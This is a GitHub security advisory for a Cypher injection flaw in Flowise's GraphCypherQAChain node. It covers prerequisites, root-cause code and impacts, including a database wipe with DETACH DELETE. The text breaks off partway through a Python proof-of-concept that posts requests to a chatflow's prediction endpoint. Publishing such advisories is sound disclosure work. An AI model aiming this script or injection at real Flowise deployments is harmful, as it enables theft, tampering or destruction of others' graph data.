GitHub Security Advisory: GHSA-28g4-38q8-3cwc
Package: flowise (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Vulnerable versions: <= 3.0.13
Patched in: 3.1.0

Summary: Flowise: Cypher Injection in GraphCypherQAChain

Details:
## Summary

The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.

## Vulnerability Details

| Field | Value |
|-------|-------|
| Affected File | `packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts` |
| Affected Lines | 193-219 (run method) |

## Prerequisites

To exploit this vulnerability, the following conditions must be met:

1. **Neo4j Database**: A Neo4j instance must be connected to the Flowise server
2. **Vulnerable Chatflow Configuration**:
   - A chatflow containing the **Graph Cypher QA Chain** node
   - Connected to a **Chat Model** (e.g., ChatOpenAI)
   - Connected to a **Neo4j Graph** node with valid credentials
3. **API Access**: Access to the chatflow's prediction endpoint (`/api/v1/prediction/{flowId}`)

<img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" />

## Root Cause

In `GraphCypherQAChain.ts`, the `run` method passes user input directly to the chain without sanitization:

```typescript
async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
    const chain = nodeData.instance as GraphCypherQAChain
    // ...
    
    const obj = {
        query: input  // User input passed directly
    }
    
    // ...
    response = await chain.invoke(obj, { callbacks })  // Executed without escaping
}
```

## Impact

An attacker with access to a vulnerable chatflow can:

1. **Data Exfiltration**: Read all data from the Neo4j database including sensitive fields
2. **Data Modification**: Create, update, or delete nodes and relationships
3. **Data Destruction**: Execute `DETACH DELETE` to wipe entire database
4. **Schema Discovery**: Enumerate database structure, labels, and properties

## Proof of Concept

### poc.py

```python
#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)

Usage:
  python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""

import argparse
import json
import urllib.request
import urllib.error

def post_json(url, data, headers):
    req = urllib.request.Request(
        url,
        data=json.dumps(data).encode("utf-8"),
        headers={**headers, "Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=15) as resp:
        return resp.status, resp.read().decode("utf-8", errors="replace")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
    ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
    ap.add_argument("--token", help="Bearer token / API key if required")
    ap.add_argume